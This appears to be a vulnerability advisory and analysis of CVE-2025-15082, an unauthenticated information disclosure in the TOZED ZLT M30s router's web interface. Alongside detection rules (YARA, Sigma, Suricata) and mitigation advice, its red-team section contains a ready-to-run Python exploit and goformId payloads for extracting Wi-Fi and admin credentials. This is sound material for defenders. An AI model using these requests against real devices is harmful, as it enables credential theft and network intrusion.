CVE-2025-15082

Executive Summary

CVE-2025-15082 is an unauthenticated information disclosure vulnerability in the TOZED ZLT M30s router's web management interface, specifically within the /reqproc/proc_post endpoint. By manipulating the goformId parameter, an attacker can remotely extract sensitive device information without authentication. The vendor (Tozed) has been notified but has not responded, leaving the device unpatched. The exploit has been publicly released, increasing the risk of mass exploitation. This vulnerability is particularly dangerous for IoT devices exposed to the internet, as it can lead to further network compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality: High (C:H) – Full disclosure of device configuration and secrets.
• Integrity: None (I:N) – No data modification.
• Availability: None (A:N) – No denial of service.

Threat Level: High. The combination of remote exploitability, no authentication, and public exploit code makes this a critical risk for any exposed TOZED ZLT M30s device.

Deep Dive & Mechanics

The vulnerability resides in the /reqproc/proc_post endpoint of the TOZED ZLT M30s web management interface. This endpoint processes POST requests and uses the goformId parameter to determine which internal function to call. The application fails to properly validate the goformId value, allowing an attacker to invoke internal functions that return sensitive data.

The root cause is a lack of access control and input validation. The endpoint does not check if the user is authenticated before processing the goformId parameter. Additionally, the parameter is not sanitized, enabling an attacker to call functions intended for internal use only.

Attack Flow:

1. The attacker sends a POST request to http://<target>/reqproc/proc_post with a crafted goformId value.
2. The server processes the request and returns sensitive information in the response body.
3. The attacker can extract data such as Wi-Fi passwords, admin credentials, firmware version, and network configuration.

Example Request:

POST /reqproc/proc_post HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

goformId=GET_WIFI_CONFIG

The response may contain the Wi-Fi SSID and pre-shared key in plaintext.

Vulnerable vs. Patched Code

Vulnerable Code (TOZED ZLT M30s firmware <= 1.47): The /reqproc/proc_post endpoint does not enforce authentication and directly passes the goformId parameter to a function dispatcher.

# Pseudocode of vulnerable handler
def handle_proc_post(request):
    goform_id = request.POST.get('goformId')
    # No authentication check
    if goform_id in function_map:
        result = function_map[goform_id]()
        return result
    else:
        return "Invalid goformId"

Patched Code (Hypothetical fix): A patched version would require authentication and validate the goformId against a whitelist of allowed functions.

# Pseudocode of patched handler
def handle_proc_post(request):
    if not is_authenticated(request):
        return "Authentication required", 401
    goform_id = request.POST.get('goformId')
    allowed_ids = ['GET_STATUS', 'REBOOT']
    if goform_id in allowed_ids:
        result = function_map[goform_id]()
        return result
    else:
        return "Invalid goformId", 403

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Obtain a TOZED ZLT M30s router (firmware <= 1.47).
2. Connect the router to a network and ensure the web interface is accessible.
3. Use a tool like curl or a Python script to send the exploit.

Exploit Script (Python):

import requests

target = "http://192.168.1.1"
endpoint = "/reqproc/proc_post"

# Payload to extract Wi-Fi configuration
payload = {"goformId": "GET_WIFI_CONFIG"}

try:
    response = requests.post(target + endpoint, data=payload, timeout=10)
    print("Response:")
    print(response.text)
except Exception as e:
    print(f"Error: {e}")

Expected Output:

SSID: TOZED_5G
Password: secret123

Additional Payloads:

• goformId=GET_ADMIN_CREDENTIALS – May return admin username and password.
• goformId=GET_FIRMWARE_VERSION – Returns firmware version.
• goformId=GET_NETWORK_CONFIG – Returns network settings.

Blue Team (Defense)

Detection:

• Monitor for POST requests to /reqproc/proc_post with unusual goformId values.
• Look for repeated requests from the same IP address.
• Check for responses containing sensitive data like "Password" or "SSID".

Mitigation:

• Block external access to the web management interface.
• Use a firewall to restrict access to trusted IPs only.
• Implement network segmentation for IoT devices.
• Monitor for known exploit patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /reqproc/proc_post with goformId parameter.
• Source IPs scanning for TOZED devices (Shodan dorks).
• Responses containing plaintext credentials or configuration data.

File IOCs:

• Log entries showing goformId=GET_WIFI_CONFIG or similar.
• Unusual outbound connections from the router to unknown IPs.

System IOCs:

• Unauthorized changes to router configuration.
• New admin accounts created on the router.

Detection Engineering

YARA Rule

rule CVE_2025_15082_TOZED_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15082 in TOZED ZLT M30s"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15082"
    strings:
        $goform_id = "goformId="
        $sensitive1 = "Password" nocase
        $sensitive2 = "SSID" nocase
        $sensitive3 = "admin" nocase
    condition:
        $goform_id and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-15082 TOZED ZLT M30s Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /reqproc/proc_post with suspicious goformId parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/reqproc/proc_post"
        cs-uri-query|contains: "goformId="
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15082 TOZED ZLT M30s Information Disclosure Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/reqproc/proc_post";
    http_uri;
    content:"goformId=";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-15082;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the TOZED ZLT M30s from the internet if possible.
2. Restrict access: Use firewall rules to allow only trusted IPs to access the web interface.
3. Change default credentials: If accessible, change the admin password immediately.

Long-term Solutions:

1. Firmware update: Monitor the vendor's website for a patch. If none is released, consider replacing the device.
2. Network segmentation: Place IoT devices on a separate VLAN with strict access controls.
3. Disable remote management: Turn off remote access to the web interface if not needed.

Workarounds:

• Use a reverse proxy with authentication to protect the /reqproc/proc_post endpoint.
• Implement an IDS/IPS to block exploit attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert